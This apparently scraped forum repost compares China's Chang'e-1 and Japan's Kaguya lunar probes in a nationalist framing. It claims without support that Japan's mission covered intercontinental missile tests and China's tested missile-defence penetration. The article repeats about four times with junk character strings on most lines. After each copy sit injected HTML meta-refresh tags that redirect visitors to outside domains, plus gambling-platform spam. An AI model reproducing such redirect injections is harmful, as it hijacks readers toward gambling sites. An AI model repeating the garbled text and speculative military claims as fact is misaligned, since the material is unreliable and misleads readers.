超级军网[转贴]“嫦娥一号”和“月亮女神”的区别是中日两国战略 ...
来源：百度文库 编辑：超级军网 时间：2024/04/30 01:39:26
<br /><br />嫦娥一号”和“月亮女神”相继上天成为月亮的卫星，自然成了怀有瑜亮情结的中日网民比较高下的热门话题。看看那许多比较，说句实话，很多网友并没有认真去分析仔细二者的特点，要么只盲目根据民族感情来表示对二者的好恶，要么，只凭借表面上的技术含量来判断二者之间的先进程度。 T4 - fK
实际上，要判断“嫦娥一号”和“月亮女神”的先进程度，不光要比较二者公开表现出来的各项指标，比如火箭发射的难度、火箭发射的稳定性、卫星入轨的准确率、卫星数量、卫星携带仪器的数量以及仪器本身的先进程度和可靠性，而且更重要的，是要比较中国和日本两国赋予探月卫星本身的更深远、从而更为重要的战略意图。 ;- +npU
打一个比方，珠穆朗玛峰，大家都把登上峰顶当作一种骄傲，但是，登山者之间的目的却各不相同。有的身上挂满照相机、专业摄像机和家庭DV，这是上去搞风光摄影的；有的扛着各种测绘工具和GPS，这是上去搞珠峰高度测量的；有的拖着神秘的大塑料箱，这是上去安装间谍设备“核动力感应器”的；有的只是身背地质包，手拿羊角锤，这是上去搞矿产调查的。 x ((;cXf
对于上面那几种登山者，你说谁比谁更先进？ K0{C]D5
实际上，中国和日本探测月球的目的，在最高层面上基本相同，中日两国还有其他国家都看到了，月球是可能未来解决地球能源问题的希望所在，同时也是大国竞争的制高点，谁先在月球建立能源基地和军事基地，谁就在未来的国家利益的争夺中占有先机。 k>-\{ kp
但是，在实现这个最高目标的具体手段上，中日两国就有明显区别了。 e]M iX
比较可以从三个方面来看，一是火箭的比较，二是测控部分的比较，三是下步工作目标的比较。 Yr%z1QC
第一，中国“长征”系列火箭，虽然有效载荷系数比H系列火箭略小一些，但经过上百次发射，其稳定性几乎达到100％，而反观H系列火箭，稳定性却差了一大截。不要小看稳定性这个问题，因为航天工程本身就是一个高投入、高风险和长周期的行业，一次失败就不光会造成巨大的经济损失，而且还要影响到今后几年的发射计划，甚至整套战略规划都会被打乱。上过战场的老兵，对武器最有发言权，你给他一支较为先进的步枪，但这支步枪打三枪就会哑火一枪，那么，他宁愿选择那支稍微落后一点但是绝对可靠的步枪，在越南，在伊拉克，美国人常常扔下先进的M-16或者M-4，换上落后的AK-47，不是没有道理的。步枪如此，在关键时候火箭自然也绝对不能“掉链子”。 %B4$U7q
第二，中日飞船探月目的差别主要就是在测控系统方面，而这一点却被许多网友忽略了。 Wv-FUQf`Z}
我们不得不承认，由于日本本身基础较好，加上与欧美科研合作基本不受限制，所以日本在高能物理和天文研究方面走得比中国远得多。日本的天文望远镜在捕捉外太空电波讯号的能力一直在世界名列前茅，但是，这次探月飞行，地面指挥中心不光要采集到飞船下传下来的全部数据，还要随时对近40万公里以外卫星进行精确定位，同时对卫星的姿态、轨迹和工作状况实施有效控制。 HV^~ ER|s
日本对飞船的测控主要是租用国外基地，然后就是依靠子卫星作中继站，建立地球－子卫星－绕月飞船的通讯系统，他的地面基站、火箭、子卫星都是为绕月卫星服务，通过这一点，我们可以看出日本的探月行动目的相对比较单纯，主要就是探测月球本身，然后利用探月飞行作掩护，试验自己的洲际导弹。反观中国，我们对卫星的控制，主要是通过辽阔国土上纵深配置的地面基站和远望号测量船，只有少数盲区才租用欧空局的基地，这就是说，中国主要依靠自己的地面基站网和海洋测量船队，建立了一个庞大的观测网，用来监视和跟踪任何近地轨道上的所有飞行物的飞行物，不管是卫星还是导弹。以专家的话来说，我们可以看见月亮上的人打篮球，甚至可以看见他们有没有把球投进篮筐。 Hzn]_S D
我们可不可以这样认为，中国借助于这次公开的探月行动，巧妙地完善和试验了自己的地区及全球导弹防御体系？同时，中国是不是也通过对“长征”三号甲火箭和卫星在近地点和远地点的多次变轨控制，明明白白地试验自己导弹和弹头对TMD和NMD的高空突防能力? [Q ] daB
第三，另外，通过“嫦娥一号”和“月亮女神”上面携带探测仪器的比较，我们有这样一个印象，日本人的研究方向主要是侧重于月球本身，比如月球的结构、形成原因等，一句话，为研究而研究，而中国则要实用主义得多，“嫦娥一号”主要就是瞄着月球资源去的，即使展开月球的空间环境研究，也是为下一步载人登月作积极准备。 K |O/@
从“嫦娥一号”和“月亮女神”两艘飞船上，我们完全可以看出中日两国在战略意图和实施步骤上的巨大差别。 og()^j
从内心来讲，日本看不上中国的技术，日本从来都是把美国作为赶超目标，所以，日本航天工程的思路，都是追求最新技术、最新材料、最新思路，什么都是希望“一步到位”，但是，由于文化与体制的原因，日本缺乏全面持久而稳妥成熟的航天战略，缺乏对各个分系统的高度整合能力，由此，日本的航天事业先天上就带有一种急功近利的冒险色彩，H火箭今天顺利升空，但明天发射的时候又可能凌空爆炸。 *g `?E^K@
几十年来，中国的航天战略，在钱学森等老一批伟大科学家的带领下，从一开始起就以务实的精神确定了稳步发展的战略方针，一步一个脚印，稳扎稳打，其中虽然遇到许多挫折，但是，在发展方向基本上没有走过大的弯路，积小胜为大胜，最后在世界航天领域内确立了自己的位置，并且在强大国力的支持下正在快速发展。这就是现代版的“龟兔赛跑”。 cV.!Nzb`
比较中国和日本的航天技术，我们最后会发现一个古怪的现象，就像大家在修建自己的大楼，目前，中国才修到3搂，而日本已经修到了3楼和4楼，但是，日本的大楼却没有一楼和二楼。 $V4] i
未来哪一天，等到大家真的准备登月的时候，日本才会突然发现，他们只能派机器人上月球去作纪念式的旅行，而中国宇航员则是拎着羊角锤，准备开始往口袋里装黄金了。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />嫦娥一号”和“月亮女神”相继上天成为月亮的卫星，自然成了怀有瑜亮情结的中日网民比较高下的热门话题。看看那许多比较，说句实话，很多网友并没有认真去分析仔细二者的特点，要么只盲目根据民族感情来表示对二者的好恶，要么，只凭借表面上的技术含量来判断二者之间的先进程度。 T4 - fK
实际上，要判断“嫦娥一号”和“月亮女神”的先进程度，不光要比较二者公开表现出来的各项指标，比如火箭发射的难度、火箭发射的稳定性、卫星入轨的准确率、卫星数量、卫星携带仪器的数量以及仪器本身的先进程度和可靠性，而且更重要的，是要比较中国和日本两国赋予探月卫星本身的更深远、从而更为重要的战略意图。 ;- +npU
打一个比方，珠穆朗玛峰，大家都把登上峰顶当作一种骄傲，但是，登山者之间的目的却各不相同。有的身上挂满照相机、专业摄像机和家庭DV，这是上去搞风光摄影的；有的扛着各种测绘工具和GPS，这是上去搞珠峰高度测量的；有的拖着神秘的大塑料箱，这是上去安装间谍设备“核动力感应器”的；有的只是身背地质包，手拿羊角锤，这是上去搞矿产调查的。 x ((;cXf
对于上面那几种登山者，你说谁比谁更先进？ K0{C]D5
实际上，中国和日本探测月球的目的，在最高层面上基本相同，中日两国还有其他国家都看到了，月球是可能未来解决地球能源问题的希望所在，同时也是大国竞争的制高点，谁先在月球建立能源基地和军事基地，谁就在未来的国家利益的争夺中占有先机。 k>-\{ kp
但是，在实现这个最高目标的具体手段上，中日两国就有明显区别了。 e]M iX
比较可以从三个方面来看，一是火箭的比较，二是测控部分的比较，三是下步工作目标的比较。 Yr%z1QC
第一，中国“长征”系列火箭，虽然有效载荷系数比H系列火箭略小一些，但经过上百次发射，其稳定性几乎达到100％，而反观H系列火箭，稳定性却差了一大截。不要小看稳定性这个问题，因为航天工程本身就是一个高投入、高风险和长周期的行业，一次失败就不光会造成巨大的经济损失，而且还要影响到今后几年的发射计划，甚至整套战略规划都会被打乱。上过战场的老兵，对武器最有发言权，你给他一支较为先进的步枪，但这支步枪打三枪就会哑火一枪，那么，他宁愿选择那支稍微落后一点但是绝对可靠的步枪，在越南，在伊拉克，美国人常常扔下先进的M-16或者M-4，换上落后的AK-47，不是没有道理的。步枪如此，在关键时候火箭自然也绝对不能“掉链子”。 %B4$U7q
第二，中日飞船探月目的差别主要就是在测控系统方面，而这一点却被许多网友忽略了。 Wv-FUQf`Z}
我们不得不承认，由于日本本身基础较好，加上与欧美科研合作基本不受限制，所以日本在高能物理和天文研究方面走得比中国远得多。日本的天文望远镜在捕捉外太空电波讯号的能力一直在世界名列前茅，但是，这次探月飞行，地面指挥中心不光要采集到飞船下传下来的全部数据，还要随时对近40万公里以外卫星进行精确定位，同时对卫星的姿态、轨迹和工作状况实施有效控制。 HV^~ ER|s
日本对飞船的测控主要是租用国外基地，然后就是依靠子卫星作中继站，建立地球－子卫星－绕月飞船的通讯系统，他的地面基站、火箭、子卫星都是为绕月卫星服务，通过这一点，我们可以看出日本的探月行动目的相对比较单纯，主要就是探测月球本身，然后利用探月飞行作掩护，试验自己的洲际导弹。反观中国，我们对卫星的控制，主要是通过辽阔国土上纵深配置的地面基站和远望号测量船，只有少数盲区才租用欧空局的基地，这就是说，中国主要依靠自己的地面基站网和海洋测量船队，建立了一个庞大的观测网，用来监视和跟踪任何近地轨道上的所有飞行物的飞行物，不管是卫星还是导弹。以专家的话来说，我们可以看见月亮上的人打篮球，甚至可以看见他们有没有把球投进篮筐。 Hzn]_S D
我们可不可以这样认为，中国借助于这次公开的探月行动，巧妙地完善和试验了自己的地区及全球导弹防御体系？同时，中国是不是也通过对“长征”三号甲火箭和卫星在近地点和远地点的多次变轨控制，明明白白地试验自己导弹和弹头对TMD和NMD的高空突防能力? [Q ] daB
第三，另外，通过“嫦娥一号”和“月亮女神”上面携带探测仪器的比较，我们有这样一个印象，日本人的研究方向主要是侧重于月球本身，比如月球的结构、形成原因等，一句话，为研究而研究，而中国则要实用主义得多，“嫦娥一号”主要就是瞄着月球资源去的，即使展开月球的空间环境研究，也是为下一步载人登月作积极准备。 K |O/@
从“嫦娥一号”和“月亮女神”两艘飞船上，我们完全可以看出中日两国在战略意图和实施步骤上的巨大差别。 og()^j
从内心来讲，日本看不上中国的技术，日本从来都是把美国作为赶超目标，所以，日本航天工程的思路，都是追求最新技术、最新材料、最新思路，什么都是希望“一步到位”，但是，由于文化与体制的原因，日本缺乏全面持久而稳妥成熟的航天战略，缺乏对各个分系统的高度整合能力，由此，日本的航天事业先天上就带有一种急功近利的冒险色彩，H火箭今天顺利升空，但明天发射的时候又可能凌空爆炸。 *g `?E^K@
几十年来，中国的航天战略，在钱学森等老一批伟大科学家的带领下，从一开始起就以务实的精神确定了稳步发展的战略方针，一步一个脚印，稳扎稳打，其中虽然遇到许多挫折，但是，在发展方向基本上没有走过大的弯路，积小胜为大胜，最后在世界航天领域内确立了自己的位置，并且在强大国力的支持下正在快速发展。这就是现代版的“龟兔赛跑”。 cV.!Nzb`
比较中国和日本的航天技术，我们最后会发现一个古怪的现象，就像大家在修建自己的大楼，目前，中国才修到3搂，而日本已经修到了3楼和4楼，但是，日本的大楼却没有一楼和二楼。 $V4] i
未来哪一天，等到大家真的准备登月的时候，日本才会突然发现，他们只能派机器人上月球去作纪念式的旅行，而中国宇航员则是拎着羊角锤，准备开始往口袋里装黄金了。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
实际上，要判断“嫦娥一号”和“月亮女神”的先进程度，不光要比较二者公开表现出来的各项指标，比如火箭发射的难度、火箭发射的稳定性、卫星入轨的准确率、卫星数量、卫星携带仪器的数量以及仪器本身的先进程度和可靠性，而且更重要的，是要比较中国和日本两国赋予探月卫星本身的更深远、从而更为重要的战略意图。 ;- +npU
打一个比方，珠穆朗玛峰，大家都把登上峰顶当作一种骄傲，但是，登山者之间的目的却各不相同。有的身上挂满照相机、专业摄像机和家庭DV，这是上去搞风光摄影的；有的扛着各种测绘工具和GPS，这是上去搞珠峰高度测量的；有的拖着神秘的大塑料箱，这是上去安装间谍设备“核动力感应器”的；有的只是身背地质包，手拿羊角锤，这是上去搞矿产调查的。 x ((;cXf
对于上面那几种登山者，你说谁比谁更先进？ K0{C]D5
实际上，中国和日本探测月球的目的，在最高层面上基本相同，中日两国还有其他国家都看到了，月球是可能未来解决地球能源问题的希望所在，同时也是大国竞争的制高点，谁先在月球建立能源基地和军事基地，谁就在未来的国家利益的争夺中占有先机。 k>-\{ kp
但是，在实现这个最高目标的具体手段上，中日两国就有明显区别了。 e]M iX
比较可以从三个方面来看，一是火箭的比较，二是测控部分的比较，三是下步工作目标的比较。 Yr%z1QC
第一，中国“长征”系列火箭，虽然有效载荷系数比H系列火箭略小一些，但经过上百次发射，其稳定性几乎达到100％，而反观H系列火箭，稳定性却差了一大截。不要小看稳定性这个问题，因为航天工程本身就是一个高投入、高风险和长周期的行业，一次失败就不光会造成巨大的经济损失，而且还要影响到今后几年的发射计划，甚至整套战略规划都会被打乱。上过战场的老兵，对武器最有发言权，你给他一支较为先进的步枪，但这支步枪打三枪就会哑火一枪，那么，他宁愿选择那支稍微落后一点但是绝对可靠的步枪，在越南，在伊拉克，美国人常常扔下先进的M-16或者M-4，换上落后的AK-47，不是没有道理的。步枪如此，在关键时候火箭自然也绝对不能“掉链子”。 %B4$U7q
第二，中日飞船探月目的差别主要就是在测控系统方面，而这一点却被许多网友忽略了。 Wv-FUQf`Z}
我们不得不承认，由于日本本身基础较好，加上与欧美科研合作基本不受限制，所以日本在高能物理和天文研究方面走得比中国远得多。日本的天文望远镜在捕捉外太空电波讯号的能力一直在世界名列前茅，但是，这次探月飞行，地面指挥中心不光要采集到飞船下传下来的全部数据，还要随时对近40万公里以外卫星进行精确定位，同时对卫星的姿态、轨迹和工作状况实施有效控制。 HV^~ ER|s
日本对飞船的测控主要是租用国外基地，然后就是依靠子卫星作中继站，建立地球－子卫星－绕月飞船的通讯系统，他的地面基站、火箭、子卫星都是为绕月卫星服务，通过这一点，我们可以看出日本的探月行动目的相对比较单纯，主要就是探测月球本身，然后利用探月飞行作掩护，试验自己的洲际导弹。反观中国，我们对卫星的控制，主要是通过辽阔国土上纵深配置的地面基站和远望号测量船，只有少数盲区才租用欧空局的基地，这就是说，中国主要依靠自己的地面基站网和海洋测量船队，建立了一个庞大的观测网，用来监视和跟踪任何近地轨道上的所有飞行物的飞行物，不管是卫星还是导弹。以专家的话来说，我们可以看见月亮上的人打篮球，甚至可以看见他们有没有把球投进篮筐。 Hzn]_S D
我们可不可以这样认为，中国借助于这次公开的探月行动，巧妙地完善和试验了自己的地区及全球导弹防御体系？同时，中国是不是也通过对“长征”三号甲火箭和卫星在近地点和远地点的多次变轨控制，明明白白地试验自己导弹和弹头对TMD和NMD的高空突防能力? [Q ] daB
第三，另外，通过“嫦娥一号”和“月亮女神”上面携带探测仪器的比较，我们有这样一个印象，日本人的研究方向主要是侧重于月球本身，比如月球的结构、形成原因等，一句话，为研究而研究，而中国则要实用主义得多，“嫦娥一号”主要就是瞄着月球资源去的，即使展开月球的空间环境研究，也是为下一步载人登月作积极准备。 K |O/@
从“嫦娥一号”和“月亮女神”两艘飞船上，我们完全可以看出中日两国在战略意图和实施步骤上的巨大差别。 og()^j
从内心来讲，日本看不上中国的技术，日本从来都是把美国作为赶超目标，所以，日本航天工程的思路，都是追求最新技术、最新材料、最新思路，什么都是希望“一步到位”，但是，由于文化与体制的原因，日本缺乏全面持久而稳妥成熟的航天战略，缺乏对各个分系统的高度整合能力，由此，日本的航天事业先天上就带有一种急功近利的冒险色彩，H火箭今天顺利升空，但明天发射的时候又可能凌空爆炸。 *g `?E^K@
几十年来，中国的航天战略，在钱学森等老一批伟大科学家的带领下，从一开始起就以务实的精神确定了稳步发展的战略方针，一步一个脚印，稳扎稳打，其中虽然遇到许多挫折，但是，在发展方向基本上没有走过大的弯路，积小胜为大胜，最后在世界航天领域内确立了自己的位置，并且在强大国力的支持下正在快速发展。这就是现代版的“龟兔赛跑”。 cV.!Nzb`
比较中国和日本的航天技术，我们最后会发现一个古怪的现象，就像大家在修建自己的大楼，目前，中国才修到3搂，而日本已经修到了3楼和4楼，但是，日本的大楼却没有一楼和二楼。 $V4] i
未来哪一天，等到大家真的准备登月的时候，日本才会突然发现，他们只能派机器人上月球去作纪念式的旅行，而中国宇航员则是拎着羊角锤，准备开始往口袋里装黄金了。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />嫦娥一号”和“月亮女神”相继上天成为月亮的卫星，自然成了怀有瑜亮情结的中日网民比较高下的热门话题。看看那许多比较，说句实话，很多网友并没有认真去分析仔细二者的特点，要么只盲目根据民族感情来表示对二者的好恶，要么，只凭借表面上的技术含量来判断二者之间的先进程度。 T4 - fK
实际上，要判断“嫦娥一号”和“月亮女神”的先进程度，不光要比较二者公开表现出来的各项指标，比如火箭发射的难度、火箭发射的稳定性、卫星入轨的准确率、卫星数量、卫星携带仪器的数量以及仪器本身的先进程度和可靠性，而且更重要的，是要比较中国和日本两国赋予探月卫星本身的更深远、从而更为重要的战略意图。 ;- +npU
打一个比方，珠穆朗玛峰，大家都把登上峰顶当作一种骄傲，但是，登山者之间的目的却各不相同。有的身上挂满照相机、专业摄像机和家庭DV，这是上去搞风光摄影的；有的扛着各种测绘工具和GPS，这是上去搞珠峰高度测量的；有的拖着神秘的大塑料箱，这是上去安装间谍设备“核动力感应器”的；有的只是身背地质包，手拿羊角锤，这是上去搞矿产调查的。 x ((;cXf
对于上面那几种登山者，你说谁比谁更先进？ K0{C]D5
实际上，中国和日本探测月球的目的，在最高层面上基本相同，中日两国还有其他国家都看到了，月球是可能未来解决地球能源问题的希望所在，同时也是大国竞争的制高点，谁先在月球建立能源基地和军事基地，谁就在未来的国家利益的争夺中占有先机。 k>-\{ kp
但是，在实现这个最高目标的具体手段上，中日两国就有明显区别了。 e]M iX
比较可以从三个方面来看，一是火箭的比较，二是测控部分的比较，三是下步工作目标的比较。 Yr%z1QC
第一，中国“长征”系列火箭，虽然有效载荷系数比H系列火箭略小一些，但经过上百次发射，其稳定性几乎达到100％，而反观H系列火箭，稳定性却差了一大截。不要小看稳定性这个问题，因为航天工程本身就是一个高投入、高风险和长周期的行业，一次失败就不光会造成巨大的经济损失，而且还要影响到今后几年的发射计划，甚至整套战略规划都会被打乱。上过战场的老兵，对武器最有发言权，你给他一支较为先进的步枪，但这支步枪打三枪就会哑火一枪，那么，他宁愿选择那支稍微落后一点但是绝对可靠的步枪，在越南，在伊拉克，美国人常常扔下先进的M-16或者M-4，换上落后的AK-47，不是没有道理的。步枪如此，在关键时候火箭自然也绝对不能“掉链子”。 %B4$U7q
第二，中日飞船探月目的差别主要就是在测控系统方面，而这一点却被许多网友忽略了。 Wv-FUQf`Z}
我们不得不承认，由于日本本身基础较好，加上与欧美科研合作基本不受限制，所以日本在高能物理和天文研究方面走得比中国远得多。日本的天文望远镜在捕捉外太空电波讯号的能力一直在世界名列前茅，但是，这次探月飞行，地面指挥中心不光要采集到飞船下传下来的全部数据，还要随时对近40万公里以外卫星进行精确定位，同时对卫星的姿态、轨迹和工作状况实施有效控制。 HV^~ ER|s
日本对飞船的测控主要是租用国外基地，然后就是依靠子卫星作中继站，建立地球－子卫星－绕月飞船的通讯系统，他的地面基站、火箭、子卫星都是为绕月卫星服务，通过这一点，我们可以看出日本的探月行动目的相对比较单纯，主要就是探测月球本身，然后利用探月飞行作掩护，试验自己的洲际导弹。反观中国，我们对卫星的控制，主要是通过辽阔国土上纵深配置的地面基站和远望号测量船，只有少数盲区才租用欧空局的基地，这就是说，中国主要依靠自己的地面基站网和海洋测量船队，建立了一个庞大的观测网，用来监视和跟踪任何近地轨道上的所有飞行物的飞行物，不管是卫星还是导弹。以专家的话来说，我们可以看见月亮上的人打篮球，甚至可以看见他们有没有把球投进篮筐。 Hzn]_S D
我们可不可以这样认为，中国借助于这次公开的探月行动，巧妙地完善和试验了自己的地区及全球导弹防御体系？同时，中国是不是也通过对“长征”三号甲火箭和卫星在近地点和远地点的多次变轨控制，明明白白地试验自己导弹和弹头对TMD和NMD的高空突防能力? [Q ] daB
第三，另外，通过“嫦娥一号”和“月亮女神”上面携带探测仪器的比较，我们有这样一个印象，日本人的研究方向主要是侧重于月球本身，比如月球的结构、形成原因等，一句话，为研究而研究，而中国则要实用主义得多，“嫦娥一号”主要就是瞄着月球资源去的，即使展开月球的空间环境研究，也是为下一步载人登月作积极准备。 K |O/@
从“嫦娥一号”和“月亮女神”两艘飞船上，我们完全可以看出中日两国在战略意图和实施步骤上的巨大差别。 og()^j
从内心来讲，日本看不上中国的技术，日本从来都是把美国作为赶超目标，所以，日本航天工程的思路，都是追求最新技术、最新材料、最新思路，什么都是希望“一步到位”，但是，由于文化与体制的原因，日本缺乏全面持久而稳妥成熟的航天战略，缺乏对各个分系统的高度整合能力，由此，日本的航天事业先天上就带有一种急功近利的冒险色彩，H火箭今天顺利升空，但明天发射的时候又可能凌空爆炸。 *g `?E^K@
几十年来，中国的航天战略，在钱学森等老一批伟大科学家的带领下，从一开始起就以务实的精神确定了稳步发展的战略方针，一步一个脚印，稳扎稳打，其中虽然遇到许多挫折，但是，在发展方向基本上没有走过大的弯路，积小胜为大胜，最后在世界航天领域内确立了自己的位置，并且在强大国力的支持下正在快速发展。这就是现代版的“龟兔赛跑”。 cV.!Nzb`
比较中国和日本的航天技术，我们最后会发现一个古怪的现象，就像大家在修建自己的大楼，目前，中国才修到3搂，而日本已经修到了3楼和4楼，但是，日本的大楼却没有一楼和二楼。 $V4] i
未来哪一天，等到大家真的准备登月的时候，日本才会突然发现，他们只能派机器人上月球去作纪念式的旅行，而中国宇航员则是拎着羊角锤，准备开始往口袋里装黄金了。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
题目挺好，内容暴露了楼主的水平，把人家说的凑成自己的，内容又无任何出彩之处